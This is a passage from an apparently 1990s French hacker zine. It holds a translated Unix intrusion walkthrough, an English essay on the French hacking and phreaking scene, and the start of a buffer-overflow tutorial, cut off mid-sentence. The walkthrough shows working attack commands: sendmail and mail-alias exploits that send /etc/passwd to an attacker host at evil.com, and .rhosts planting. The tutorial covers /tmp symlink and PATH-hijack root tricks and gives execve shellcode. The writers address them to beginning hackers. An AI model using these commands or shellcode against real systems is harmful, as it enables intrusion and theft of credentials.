daemon rsh, rexd envoie des requetes de la forme "stp execute cette
commande en tant que cet user-la". Cependant, rexd ne prend pas en
compte les fichiers hosts.equiv ou le .rhosts. Normallement, le client
qui se connecte a rexd est "on" (en fait la verification de l'identite
se fais par le client "on"), mais un simple programme C peut
facilement envoyer n'importe quelle information sur l'user au serveur
rexd (faire tourner rexd correspond en fait a pas avoir de password). ;)
Alors que nous regardons le resultat de la commande rpcinfo, tu peux
voir que victim.com semble avoir aussi des stations sans disque. Le
bootparam service est donc surement utilise, il donne a la station sans
disque l'acces aux informations pour qu'elle puisse booter. Utilisons
BOOTPARAMPROC_WHOAMI et fournissons l'adresse du client. Nous pouvons
obtenir ainsi son nom de domaine NIS. Cela peut etre tres utile pour
l'obtension des maps NIS (comme le fichier passwd), connaissant le nom
de domaine.
Voici un exemple de code qui fait ca:
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
Le resultat du showmount nous indique que "easy" est une station sans
disque, donc nous utilisons son adresse dans la requete
BOOTPARAMPROC_WHOAMI:
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
Le maitre NIS controle les alias mail pour le domaine NIS en question.
De la meme maniere que les fichiers alias locaux, tu peux creer des
alias mail qui executeront des commandes, quand du courier leur sera
envoye (un exemple est l'alias "decode" qui UUDECODE le courier qu'on
lui envoie). Ici, par exemple, nous creons un alias "foo" qui envoie le
fichier /etc/passwd a evil.com des la reception d'un mail.
nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >>\
> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Si un hacker a le controle de votre maitre NIS, il a egalement le
controle des sites clients du NIS.
Il n'y a pas beaucoup de defenses efficaces contre les attaques NIS.
C'est un service peu sur qui n'a presque pas d'authentification entre le
client et le serveur. Pire encore, il semble assez clair que des maps
peuvent etre recuperees meme sur les serveur maitre (c'est a dire qu'il
est possible de traiter un serveur NIS comme un client). Ceci evidemment
corrompt le systeme entier. S'il est absolument necessaire d'utiliser
NIS, choisir un nom de domaine difficile a deviner peut etre d'un
certain secours, mais si vous faites marcher des stations sans disque
qui sont exposees a des attaques potentielles alors il est trivial pour
un attaquant de venir a bout de cette precaution en utilisant le truc du
bootparam pour obtenir le nom de domaine.
Si NIS est utilise pour centraliser les maps passwd, alors les shadow-
passwords ne servent a rien parce qu'ils sont toujours accessibles pour
un attaquant qui est root sur le site qui vous attaque. Le mieux est
d'utiliser NIS le moins possible ou au moins de realiser que les maps
peuvent etre lues par une force hostile.
Secure RPC diminue la menace de beaucoup mais a aussi ses propres defauts.
Tout d'abord, il est dificile a administrer, mais aussi ses methodes
cryptographiques ne sont pas tres solides. Il semble que NIS+ ait fixe la
plupart de ces problemes.
Le portmapper ne connait que les services RPC. Les autres services reseau
peuvent etre localises avec des methodes brutales (connexion a tous les
ports pour verifier ceux qui repondent). Plusieurs utilitaires reseau
ecoutent des ports specifiques (sendmail sur le 25, telnet sur le 23,
X-windows sur le 6000). SATAN inclue un programme qui scanne les ports
sur un site distant et fait un rapport.
evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
Ceci suggere que victim.com fait tourner Xwindows. S'ils ne sont pas
proteges correctement (avec les magic cookies ou les mecanismes xhosts),
l'affichage des fenetres peux etre captures ou regardes, les touches
pressees par les utilisateur peuvent etre espionees, les programmes
executes a distance, etc... De plus, si la cible fais tourner X et
accepte les connexions telnet sur le port 6000, cela peut etre utilise
pour une attaque "DENIAL OF SERVICE", le systeme de fenetre cible etant
souvent paralyse pour une courte duree. Une methode pour determiner la
vulnerabilite du serveur X et de s'y connecter avec la fonction
WOpenDisplay(). Si la fonction retourne NULL, alors tu ne peut pas
acceder a l'affichage de la victime (WOpenDisplay fait partie de SATAN).
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
}
else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
Les terminaux X, meme s'ils sont moins puissants qu'un systeme UNIX
complet, peuvent avoir leurs propres problemes de securite. Certain
terminaux X permettent des acces rsh non restreints, te permettant de
demarrer un programme client X dans le terminal de la victime avec
l'affichage apparaissant sur ton propre ecran.
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
Dans tous les cas, nous pouvons penser que la securite windows dans
vos utilisateurs reseau et votre systeme de fichiers peuvent etre aussi
dangereux qu'un "+3" dans votre hosts.equiv ou un acces root sans
password.
Ensuite tu examines sendmail. Sendmail est un programme tres complexe
qui as une longue histoire de problemes de securite derriere lui,
notamment la fameuse commande "wiz" (heureusement retiree depuis
longtemps de toutes les machines).
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Faire marcher l'alias "decode" est un risque de securite. Il permet aux
attaqueurs potentiels d'ecraser n'importe quel fichier qui est writable
par le posseseur de l'alias --- souvent un daemon, mais potentielement
n'importe quel utilisateur. Observe se morceau de courier --- il va
placer "evil.com" dans le fichier .rhosts de l'utilisateur "zen" si
celui-ci est writable:
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail \
> decode@victim.com
Si aucun repertoire utilisateur n'est connu ou writable, une variation
interessante consiste a creer un fichier /etc/allises.pag qui contient
une commande que tu desires executer sur la cible. Cela peut marcher car
sur plusieurs systemes les fichiers aliases.pag et aliases.dir qui
controlent les alias du mail sont writable par tous.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null.
Beaucoup de choses peuvent etre trouvees juste en demandant a sendmail
si une adresse est acceptable (vrfy), ou en quoi une adresse se
developpe (expn). Quand les services rusers et finger ne sont pas
presents, vrfy et expn peuvent toujours etre utilises pour identifier
les comptes utilisateur (cible potentielle). Vrfy et expn peuvent
egalement etre utilises pour determiner si l'utilisateur filtre son mail
a travers un programme qui peut etre exploite (par exemple:vacation,
mail sorters, etc...). Cela peut etre une bonne idee de suprimmer les
commandes "vrfy" et "expn".
Il y a deux bugs bien connus qui devraient etre testes. Le premier a ete
definitivement supprime dans la version 5.59 de berkley; pour les
versions de sendmail anterieures a la 5.59, "evil.com" est ajoute,
malgre le message d'erreur, avec le header au fichier specifie.
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
La seconde faille, suprimee seulement recemment, permet a n'importe qui
de specifier une commande shell et/ou "PATHNAMES" (voir plus bas) et/ou
une adresse de destination. Les tentatives pour garder les details
secrets ont ete vaines et les discussions dans les mailling lists et
dans les newsgroups ont mene a la revelation de l'exploitation de ce
bug. C'est ainsi qu'avec bien des bugs UNIX, pratiquement tous les
sendmail etaient vulnerables car ils partagent la meme sructure generale
de code. Une attaque typique pour extraire le fichier passwd devrait
ressembler a ca:
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
Au moment ou j'ecris ces lignes, la version 8.6.4 de sendmail est la
seule variante qui se voit tous les bugs de securite recents corriges.
Bon, ben nous voila a la fin. J'espere que ca t'a plu et si tu as des
choses a redire, eh bien envoie un mail a phe@mygale.org.
Voila, j'espere avoir eclaire la voie au hacker qui debute et meme a
ceux qui sont vieux et ceux qui on la memoire defaillante avec l'age. :)
Mmm, je tiens a remercier mikasoft avec qui j'ai traduit l'article et je
tiens a me remercier moi-meme pour mes hacker's & bibi notes. :)
Allez greats to:
MIKASOFT, SORCERY,KEWL,GLOU || BLITZ ;),pixel4,sd4,BYOND les grands :)
WHYMAS,Morgan,mon chien,est toi qui lis cet article =)
puis bien sur
TOUS LES MENBRES DU PHE qui compte
]hotcode[ , kewl , mikasoft, dhea,mikasoft,zezebar,CoD4
(hehe, en s'en serait doute), captnt , et puis qui sait, peut etre toi! :)
D'ailleurs, si tu veux venir, :)
envoie nous ta candidature et fais gaffe, je suis un severe moi! :)
Tiens, on recherche des gars qui codent bien, genre demo, histoire de
nous faire de belles intros qui font WOW quand tu les regardes :)
(mmm, ca existe le bump mapping en VT100 ?)!
Allez BYE all!
"""""""""""""""""""""""""""""assenaV rof """""""""""""""""""""""""""""""
------------------------------------------------------------------------
NB:
Eh, CoD4, remercie donc aussi oCtag0n, qui s'est soule a corriger les
fautes d'orthographe et de mise en page et de style et de...=)
J'espere que ton texte est ainsi devenu comprehensible, tout en gardant
un caractere Cod4'esque. =)
-------------------------------------------------------------------------------
NoRoute #1 þ French Scene ? þ 4763 þ NeurAlien þ NoRoute #1
-------------------------------------------------------------------------------
Ce texte a ete ecrit par NeurAlien pour Phrack. L'esprit qui se degage de ce
texte est excellent et reflete tout a fait l'actualite (bon a part nivo net
bien entendu mais les gens n'ont pas change...)
On espere qu'il aurait accepte la parution de son article dans NoRoute...
-=-=-=-=-=-
French Scene
-=-=-=-=-=-
By NeurAlien
The French scene has always been portrayed as weak by both French and
foreign people. There's a paradox here: France was one of the first
countries to develop a modern network (in 1981) YET there have been
few _good hackers_. How is that explained? I DUNNO !
In fact, stating that France is underdeveloped at a hacker level is
partly false. In France, hackers have always been isolated or hidden
in little isolated groups. Whenever a good group formed, everyone was
quickly busted by DST (the agency in charge of computer fraud). Moreover,
this agency (DST) is somewhat effective and hacking has been illegal here
since 1988. The risks when you are caught are VERY HEAVY and the trial
lasts forever! Usually, it takes 3 years to go to trial and the material
is ALWAYS seized even if you're not charged with anything!.
The Videotex initiative that provided France such a breakthrough
in technology is now an handicap because it can't follow the evolution of
modems and isn't well adapted for networking with the Internet.
I- The Videotex aka Minitel
------------------------
Minitel has been developed in 1981 by France Telecom. It was excellent at
the time but it hasn't evolved very much. Let's see what hacking has
been like in the Minitel world.
To explain a little what "Minitel hacking" was, I must detail
a little how Teletel (the network that supports Minitel) works.
Teletel is based on X25 and provides multiple price levels:
Teletel 0 (T0) is free for the user, costs a lot for the server.
Teletel 1 (T1) costs a local call to the user, the price of the X25
collect connection to the server.
Teletel 2 (T2) costs the price of a local call + X25 communication
(6+ cents per minute) to the user.)
Teletel 3 (T3) costs T2 + a charge that is reversed to the server
(costs 20 cents to $1 per minute to the user.)
A lot of servers are accessible only in T3 for the users.
The principle of hacking Teletel was to find a the X25 number corresponding
to the T3 CODE in order to log on the T3 server from T2 level.
Eventually, there could be a password on the T2 access.
Actually, it's very basic and very dumb hacking since you can only do
some scanning to find the x25 number of the servers.
T1 was used for more professional type servers and the hackers
that used to hack T1 were better than T2 hackers.
T2 K0d3z were very popular among wannabe
hackers, some Special Interest
Groups about T2 were formed on a lot of servers and there was even a server
dedicated to T2 codes. The quality of information has always been extremely
low in this kind of club. Moreover, the kind of k0dez kidz on these SIGs and
servers were particularly dumb (sorry for them). It got really bad in 1991
when a lot of T2 guys started to flame each other, accusing them of leeching
some T2 codes from one server and posting them to another, saying that the
other guys were ripping everyone off etc... It may be continuing now but I'm
totally uninterested by these people so I completely left this scene.
The "good ones" of the T2 K0d3z k1dz stopped T2 (it's not free so it's
too expensive!). They usually started to Hack T0 which is totally free.
(it's like a 1-800 for Teletel). The servers of T0 are nearly all of the
"restricted access" kind. But they have weak protection schemes and can
be easily bypassed with some experience. The hackers of T0 servers don't
usually know each other and some of them may form a kind of little "islands".
(I'm calling them "islands" because it is always placed in an Information
System on T0, deep within the system. There are perhaps 10 or so "islands"
that have no connection with other hackers. A typical "island" consists of
5 to 10 hackers. Some hackers may go on 2 or more "islands" but prefer to
keep the presence of both "islands" secret. Why? In order not to destroy
both if one of them is found and shut down!
One reason most never heard of these person is that there is nearly
no connection between the Teletel world and the Internet. The only way
to escape to Internet and Intl X25 is Teletel 1 (T1).
II- When Teletel goes professional
-------------------------------
As I said, the T1 is the only way for a Teletel hacker to evolve
to hacking Internet or International ASCII X25. On Teletel 1, you can
sometimes log on to some interesting Unixes, Vaxes etc.
T1 is also the only way on Teletel to use the International X25 network.
You have to get a Transpac NUI to call a foreign address from T1.
Until 1991, the Transpac NUIs were a 4 to 6 random alphanumeric
characters. A man called IER had made an NUI Scanner that allowed him to
find NUIs by scanning out every 4 character NUI. It WAS effective,
but Transpac changed to a 6 character NUI. (IER was busted and caught.
No news from him since that day!)
Many good hackers used T1 a lot to hack systems and to go on the Internet
and the Intl X25 networks. For example, you may have heard of people
like Netlink, Furax, Jansky or Synaps. They hacked X25 and Internet but
it seems that each of them was busted and caught. Some are still alive on
the Net, but some aren't!!!
Some French hackers were really good but it seems that no one can hide
very long from the DST. They are very effective, and with the help of
France Telecom, they trace back a lot of calls.
Places like QSD haven't been used very much by the French because of
their lack of technological knowledge. ahem...
Moreover, QSD/The Line is tapped by governmental agencies so g00d French
hackers don't like it.
IV- The groups
----------
Some groups have been formed in France but they've never lived long enough
to give new hackers the knowledge of the old hackers. Some groups were:
NICK, Hardcore Hackers, Piratel, TeKila Underground. Many of them
were hacking systems in Teletel 1.
A group called CCCF appeared in 1991. It was founded by Jean Bernard
Condat and in fact it was not really a group. This guy, JBC, is deft
at maneuvering people into doing what he wants. He organized fake contests
like "The price of the Chaos" to get more information and then act as
if he personally discovered the hacks that were given to him.
He recently started the Chaos newsletter where nothing originates from
him...it's taken from everywhere and from his personal contacts.
He has big power because he works for SVP which is a private
information company that has the goal of providing information to whoever
wants it, for a large amount of money.
Nobody knows what JBC really wants but he is definitely a threat to the
underground. Somebody, I don't recall who, already mentioned that in Phrack.
V- Phreaking in Phrance
--------------------
Phone phreaking became really active in France in 1992 after the
massive release of a blue box that worked in France. Several months
later discovery of this caused the death of blue boxing from France.
The blue box program was running on ST and several people that used it
formed the TeKila Underground. As far as i know, this was an happy group
that had a lot of parties and liked smoking... :)
They weren't very effective: just into using the blue box.
Then came the movement of the "Horlogers", it was due to the credit you
could gain if you connected in Teletel 3 on some server. The "horlogers" were
staying HOURS and DAYS on a server with blue box just to have more credit
(counted in minute of connection) on those server.
They were staying connected on a place called "L'horloge" (the timer) that
enabled you not to be disconnected by the server when being idle for a long
time.
Blue boxing is now very hard in France. The Australian blue box
ceased to work and a lot of phreakers couldn't phreak anymore.
The real problem in France is that nobody (or almost nobody) knows how
the France Telecom phone network works so we can't really use any flaws
in this system.
Calling cards have been heavily used in France, placing the country
in the top ten consumers of stolen CC's. When ATT MCI saw that,
they contacted France Telecom and now each calling card from ATT, MCI
can't call back to France.
Moreover, FT's CC called "Carte France Telecom" (CFT or CP) is traced and
recorded: I mean, when the person who owns the CFT receives the bill,
written on the bill is the number of the caller and of the called party.
HARD isn't it?
Recently, some busts were done on ATT and MCI CC users. They are now
awaiting trial.
VI- Magazines
---------
Back before 1990 a magazine was published twice and sent to every
single university in France. It was called "Hackito" from the
"Hackito ergo sum" motto. (I've never found an issue of it, but if you have
one, send me it to me in email.)
There is also this shitty zine called Chaos...
Now, a new zine is making the underground react in France:
It's called "N0 Way" and I'm the Editor.
This magazine is written entirely in French. The current issue is number 3.
Anyone wanting to submit something to "N0 Way" can send me a message in Email.
Today we are seeing a lot of people in France wanting to know more about
hacking. It seems to have taken off here but not as much as in Holland or
in the USA.
Email me to receive "N0 Way": an133729@anon.penet.fi
++NeurAlien.
-------------------------------------------------------------------------------
NoRoute #1 þ Introduction aux exploits þ 4764 þ s0RC3Ry þ NoRoute #1
-------------------------------------------------------------------------------
Introduction aux exploits
Comment comprendre ce qu'on fait sur un systeme.
Introduction-------------------------------------------------------------------
Ouaiiis je suis root c kewl. Reaction typique du mec moyen dans #hack qui ne
sait faire que deux choses: echanger des passwords et executer des exploits.
Oui, mais. J'ai toujours ete tres vexe par le fait d'etre arrive si tard dans
le monde du hack... Tout est actuellement protege et corrige, et il en resulte
une linearite dans le hack qui reste assez deplaisante : on se logge, on
utilise l'exploit qu'on trouve n'importe ou... Et on a un root sur une becanne.
La difference maintenant entre bon hacker et petit rigolo, c'est que le petit
rigolo se fait reprendre son root dans la semaine qui suit son acquisition,
alors que le "bon hacker" l'exploite inlassablement pendant des mois.. Puis
l'abandonne pour un autre.. Bien entendu le 'vrai bon hacker' -sic- ne fait
pas que chopper des roots a droite a gauche... =) Mais la n'est pas la
question..
Devant ce manque d'imagination assez deplorable chez la plupart des 'hackers
a la mode', je me propose d'expliquer le fonctionnement de trois types
d'exploits tres classiques dans le hack, que chacun de vous a surement deja
utilise plus d'une fois... =) Je m'attarderai surtout sur le dernier type,
le plus recent et celui qui genere exploit sur exploit en ce moment, j'ai
plus ou moins nomme le buffer overflow.
drwxrwxrwt---7-root-----root---------2048-Mar--2-12:38-/tmp/-------------------
Toute une serie d'exploits utilise le fait que /tmp est world writable.
/tmp est utilise par un grand nombre de programmes suid pour y stocker des
fichiers temporaires, fichiers qui sont souvent ecrits avec les permissions
du root... Le truc dans ce cas est assez simple: on passe par un lien symbolik.
Un lien symbolique peut etre mis par n'importe qui, et c'est une fonction unix
que beaucoup de roots regrettent encore aujourd'hui. Il permet a un user normal
de faire un lien entre un fichier du root (par exemple /.rhosts) et un fichier
determine par l'user (par exemple /tmp/.rhosts). L'interet de cette chose est
que toute modification de ce fichier par un user amenera, si l'user en a le
droit, a la modification du fichier linke... Par exemple, si l'user arrive
a ecrire dans /tmp/.rhosts, alors il modifiera /.rhosts.
L'interet de la chose est qu'on peut choisir un nom pour le fichier "image",
le lien symbolique: par exemple,
ln -s /.rhosts /tmp/.Xlock donnera au fichier /tmp/.Xlock les memes proprietes
que le fichier /.rhosts, et toute modification de /tmp/.Xlock par un process
root entrainera une modification de /.rhosts tout a fait identique.
On voit donc d'ici l'interet de l'exploit: en prevoyant qu'un process root
ecrira un fichier de nom AGAGA sur le disque a un endroit precis ou nous, user
normal, avons acces, et en sachant que l'on peut determiner ce qui va etre
place dans AGAGA, on peut modifier un fichier du root en placant un lien
symbolique de ce fichier vers AGAGA. Il suffit que le programme suid ne
verifie pas l'existence d'AGAGA avant d'ecrire dedans... Un exemple il y a
un petit bout de temps deja avec XF86 sous linux:
beigebox:/tmp> ln -s /var/adm/utmp .tX0-lock
beigebox:/tmp> startx
Fatal server error:
Server is already active for display 0
If this server is no longer running, remove /tmp/.tX0-lock
and start again.
- le fichier .tX0-lock sert de lock a XF86 et lui permet de savoir si un
server tourne deja et si oui, sous kel process.
beigebox:/tmp> cat /var/adm/utmp
116
beigebox:/tmp>
Le probleme venait du fait que XF86 verifiait uniquement si le fichier
.tX0-lock appartenait a root avant d'ecrire dedans son numero de process,
puis concluait qu'un serveur etait deja lance et abandonnait son lancement.
Du coup, il etait possible d'ecrire n'importe quoi dans n'importe quel fichier
appartenant a root en passant par ce lien...
Une autre source d'exploits bien connue passait par le fait que sur certains
systemes mal administres, le repertoire /tmp etait drxwrxwrxw, c'est a dire
que tout le monde avait la possibilite d'enlever un fichier de ce repertoire.
Un seul exemple suffira: prenons par exemple mgetty qui, sur mon systeme,
cree un fichier de log log_mg.ttyS2. Il contient des chaines d'init de modem
et donc par endroit, un "+ +". La meilleure maniere de chopper le root sur un
systeme utilisant mgetty est donc la suivante dans ce cas :
beigebox:/tmp> rm log_mg.ttyS2
rm: remove `log_mg.ttyS2, overriding mode 0644? y
beigebox:/tmp> ln -s /.rhosts log_mg.ttyS2
[attendre une arrivee de fax/appel..]
beigebox:/tmp> rsh localhost -l root
beigbeox:~# whoami
root
beigebox:~#
Le probleme du /tmp sans tiny bit (-t-), c'est qu'on peut ainsi effacer
kel fichier d'un programme suid root en cours pour le remplacer par n'importe
quoi.. De ce fait on peut facilement imaginer un exploit pour chopper le root
sur la becanne sans grand probleme... (sendmail, rdist, ...).
------execve("ls",0,0);--------------------------------------------------------
Un autre grand probleme sous unix qui a suscite grand nombre d'exploit est le
classique appel a un programme depuis un programme suid sans specifier le path
de ce dernier.. (voir doom_exploit.sh =). Dans ce cas, n'importe kel user peut
faire executer n'importe quelle commande root a ce programme suid en suivant
la methode expliquee quelques articles plus haut... C'est a dire mettre son
path sur /tmp par exemple, et creer un script executable 'ls' ou autre qui
contiendrait des commandes comme un /bin/chmod 04755 /bin/sh...
-----Qu'est-ce-qu'un-race-?----------------------------------------------------
Je ne m'etendrais pas sur ce sujet car il est tres large. Le race est, comme
son nom l'indique, une "course" contre le systeme, visant a faire effectuer a
ce dernier deux taches en meme temps par exemple, a le mettre dans une
situtation particuliere dans laquelle il est exploitable. Par exemple, sachant
que dans les crontabs du root, il se trouve un 'find *guru* -exec rm -rf {}',
le but du race serait de creer le fichier guru, puis au moment ou le find vient
de le trouver, et ou il le passe dans la variable {}, faire un symbolic link de
ce fichier guru vers un repertoire arbitraire comme /etc, ou /usr. Ceci permet
a quiconque de detruire un fichier appartenant au root sur le systeme, ce qui
n'est pas si mal que ca dans le fond... (une telle condition revient en gros
a un /tmp drwxrxwrwx). Non, je ne delire pas, une telle aberation s'est bien
trouvee dans les crontabs par defaut de la RedHat 2.x...
-----strcpy(buffer,argv[1]);---------------------------------------------------
Le plus joli des exploits. Le buffer overflow. Celui qui parait le plus propre
et efficace... Une compilation, une execution, un root et pas de traces...
Quand on compare ca a un psrace ou un mail exploit de sunos, qui, quand ils
foirent, foutent des centaines de mails au root accompagnes de core dans tous
les sens, on est plutot heureux de voir que ca a ete invente... =)
Comment ca marche ? Il faut tout d'abord que nous comprenions le principe d'un
appel de fonction... Sous linux (je prendrai cet exemple mais cela est valable
sous beaucoup d'Os..), et sur un 80386 en general, on considere trois zones de
donnees independantes: le segment de donnees, ou sont stockees des valeurs
a adresse constante lors de l'initialisation des programmes, le segment de code
ou se trouve le code meme du programme, et le segment de pile (stack en anglais)
ou sont passees des variables pour passages temporels de donnees. Nous nous
interessons ici au segment de stack. Son architecture, sur un 386, est telle
que la partie haute de la memoire ( -> FFFFFFFF) correspond au 'fond' de la
pile (SP -> 0) et que lorsqu'on ajoute des donnees dans la pile, ces donnees
sont passes en dessous dans la memoire. Les deux instructions utilisees
en majorite par la pile sont PUSH et POP. PUSH permet d'inclure une nouvelle
valeur dans la pile. POP en retire une. A tout moment, un pointeur de pile (SP)
est mis a jour et correspond a la partie la plus basse de la pile, c'est a dire
a la zone de depart du dernier element pose dans la pile. Ah oui, j'oubliais.
Une connaissance minimale de l'assembleur semble requise pour bien comprendre
ce chapitre =)... Voici un shema representant la pile sur un pc, au fur et a
mesure qu'on y entre des valeurs:
PUSH "123"
[ 123]
PUSH "ABCDEFG"
[ ABCDEFG123]
POP AX ABCD -> AX (4)
[ EFG123]
Lorsqu'on PUSH des valeurs dans la pile, elles sont donc ajoutees comme sur
le shema: SP est decremente de la valeur de cette variable, pour qu'elle aie
la place de se placer dans la pile sans "bouffer" les autres, puis la variable
est posee dans la pile a l'offset SP. Lorsqu'on POP un registre, comme AX=4b,
on retire 4 bytes de la pile et SP est incremente de 4. Nous sommes ici en
32 bits.. J'espere que le principe de la pile, "premier entre dernier sorti",
est bien compris car il est determinant pour la suite...
Lors d'un call, les variables passees a la fonction et que la fonction doit
nous renvoyer doivent etre passees de l'une a l'autre d'une maniere souple.
Nous utilisons pour cela la pile (en fait c'est le compilo qui ne nous laisse
pas le choix =). Voici un exemple de traduction de ce que je viens d'essayer
de dire d'une maniere claire et comprehensible:
function(a,b);
push b;
push a;
call __function();
pop ax;
pop bx;
Et dans ax nous avons la valeur a renvoyee par la fonction, et de meme dans
bx nous recevons la valeur b. Est-ce bien clair jusqu'ici ? Compliquons la
chose.. Lors du call de la fonction, il se passe ceci:
__function: (instructions)
(relatives a)
(la fonction)
RET
Le RET est une instruction qui va donner a notre fonction l'ordre de revenir
a l'endroit ou on l'a appele. Evidemment comme intel aime bien nous compliquer
la vie, RET va aller chercher l'adresse de retour dans la pile! Voici ce qui
se passe en realite:
Nous sommes a l'offset CS:IP. Le CS reste fixe, c'est notre segment. IP est
l'adresse memoire correspondant a l'instruction push b:
Instruction Etat de la pile
push b; [ BBBB]
push a; [ AAAABBBB]
call __function [ RRRRAAAABBBB]
fct: (instructions) [ RRRRAAAABBBB]
fct: RET [ AAAABBBB]
pop ax; [ BBBB]
pop bx; [ ]
RRRR devient l'adresse de retour du call, l'ip rendu par le RET.
Bon mais tout cela serait trop simple si il en etait ainsi =)
En realite, un pointeur de pile un peu plus evolue est utilise par le
processeur et agit en fait comme un offset sur SP, il s'agit de BP.
Donc dans ce cas, la pile contient l'adresse de retour, l'ancien SP, puis
les variables locales.
lors du call:
push bp
mov sp,bp
sub sp,(taille allouee aux valeurs locales)
On sauve l'ancien bp, SP prend sa valeur et on tient compte de la place allouee
aux valeurs locales....
lors du ret:
mov bp,sp
pop bp
On recupere notre BP, c'est SP qui determine sa position.... Ensuite le ret
prendra sa valeur dans la pile et nous retournera au CS:IP suivant l'appel.
N'allons pas compliquer les choses a ce point, attaquons tout de suite le
cote overflow de la chose... Disons maintenant que notre __function accepte
un buffer d'une taille de 16 bytes. Lors de l'initialisation de la fonction,
une place dans la pile va etre allouee a ce buffer, notee ici par des X:
call __function [XXXXXXXXXXXXXXXX RRRRAAAABBBB]
R represente l'adresse de retour de la fonction a la fin. Imaginons maintenant
que notre __function, a un moment donne, copie le buffer b dans le buffer
XXX... voici le resultat pendant l'execution de la __function:
__function [BBBBXXXXXXXXXXXX RRRRAAAABBBB]
Mais la taille de B n'est pas limitee du tout: si jamais B a une taille disons
un peu trop grosse voici ce qu'il risk de se passer:
__function [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAABBBBBBBBBBBBBBBBBB...BB]
Le buffer XXX est largement depasse et vient mordre sur la valeur de retour
RRRR. C'est ca qu'on appelle un buffer overflow. Maintenant le principe du
buffer overflow devient plus clair: si on arrive a donner a la fin du buffer
BBBB une valeur qui pointe vers une fonction a nous, qui execute un shell,
alors au moment du RET, __function partira directement sur notre shell au
lieu de revenir vers l'adresse originale RRRR. En fait, pour les buffer
overflows "ou y'a dla place", on utilise ce qui est appele un EGG, c'est a dire
un morceau d'assembleur qui execute un shell suivi d'une grande serie d'octet
ayant pour valeur l'adresse de l'EGG: en remplissant ainsi le buffer XXX,
lors du RET, c'est le debut du buffer XXX qui est execute soit notre EGG et
donc notre SHELL. Calculer l'offset de debut de l'EGG etant assez complique,
on remplit environ la moitie de l'EGG par des NOPs (0x90,E accent grave), ce
qui permet un taux d'erreur assez appreciable: les NOPs sont des instructions
qui ne font rien justement, et si on arrive a aterrir quelque part au milieu
de ces NOPs avec notre RET modifie, alors on a gagne la partie, le shell est
a nous, et pour peu que le programme soit suid, le shell est root...
Voici un shema illustrant ce qu'il se passe: (pour plus de place on va supposer
ici qu'on ne push que la valeur B,contenant notre EGG, avant d'appeler la
fonction)
N=NOP, E=code de notre shell, A=adresse du shell, R=adresse d'origine du RET.
push b;
__function (appel de la fonction)
[XXXXXXXXXXXX RRRRNNNNNNNEEEEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAAA]
(ici, notre fonction copie B dans XXX, soit notre EGG dans XXX: c'est CA
qui va determiner l'exploit faisable ou pas)
[NNNEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAA.......]
/
Arrivee ICI ~~~~~~ , le RET nous ramene dans les N, au debut du shell.
Notre code shell est donc lance...
Voila, j'espere que cela fut plus ou moins clair... =) Si vous voulez plus de
details sur le sujet, je vous recommande vivement l'article de Aleph One dans
Phrack49 qui est tout simplement excellent, et qui explique assez bien la
chose... =) j'avoue que je suis assez mauvais en explications huh =)
En bonus, voici le contenu de l'EGG generique (c'est le code qui execute le
shell) que vous trouverez d'ailleurs en tete de tous les exploits buff overflow
sous unix...
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
En fait, il fait appel a l'int 0x80 (\xcd\x80 qui permet d'executer un programme
lorsque ax=0xb,bx=cx=adresse de la chaine a executer), en faisant pointer bx
vers sa fin, c'est a dire ici vers /bin/sh... Comme vous pouvez le remarquer,
tout 0x00 a ete enleve de l'EGG et habilement remplace par des xor ax,ax et
d'autres astuces, car une copie de buffer s'arrete a la rencontre d'un 0x00...
Ce qu'il faut faire pour exploiter cet EGG: le mettre dans le buffer a
overflower.. trouver son adresse (__asm get esp...) et en deduire l'adresse
qu'il aura dans le programme a exploiter, (ce qui inclut donc l'existance d'un
offset), puis mettre avant lui une 50aine de NOPS (selon la taille necessaire
pour flooder le buffer, le nombre de NOPS peut varier...) et apres lui quelques
